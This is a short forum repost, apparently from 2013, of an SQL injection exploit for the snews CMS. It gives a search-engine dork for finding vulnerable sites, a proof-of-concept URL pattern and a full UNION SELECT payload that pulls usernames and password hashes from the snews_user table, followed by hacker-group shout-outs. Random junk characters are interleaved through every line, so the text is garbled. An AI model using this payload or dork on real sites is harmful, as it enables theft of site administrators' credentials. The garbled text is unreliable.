标题: CMS snews SQL Injection Vulnerability
* f* D$ i: q4 ?. F$ L! A作者: By onestree1 m6 s% a% V$ v# p1 L* I
下载地址 : http://snewscms.com/
: s" M1 ^4 W+ }测试平台 : ubuntu 12.10 / win 7
0 M' D+ h! H; C关键词: inurl:"tanyakan pada rumput yang bergoyang", v' R0 K& {; l/ D7 Y2 m" R
; I0 B6 H( ^; u% b5 n3 p3 b+ }/ y
: O/ N# N# B) G2 ]( P* H9 p3 b8 K************************************************************* A5 q" }7 L- l5 x, P( E! A8 M
7 `, F* \0 R. ~9 A9 {. B
SQL poc:7 A3 i, y7 j7 W) O6 U3 W; ~
+ c2 z& C8 W4 p+ P. xhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]0 N& z6 i( \4 | \- F9 |
; b1 h" ?! F; [6 x1 C- r0 H示例
; Y9 w* c, a8 e. V$ w' R
. U" M$ ]# |% ^http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*1 |- B8 e- ]& ~* K
- S/ S! E* B" Z' N! @5 s* { " |$ N4 b7 N: j# r3 S! o# B
致谢:
8 i/ T3 { G' c & k7 k- k' ~: ~; z n& U% V t% u( k1 Z w
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
( B; \1 M$ G6 r, h8 W d9 { 9 K" c# E" A5 j) e0 ?: ]" K+ ?+ d
indonesiancoder - moeslimh4x0r - go-coder- t& U9 L+ t: J q( V
% k/ \* u( q" e8 I! X# j* E) Rspesial my hunny :*
& p1 V: h& P2 h |
发表于 2013-1-23 08:55:06
收藏
支持
反对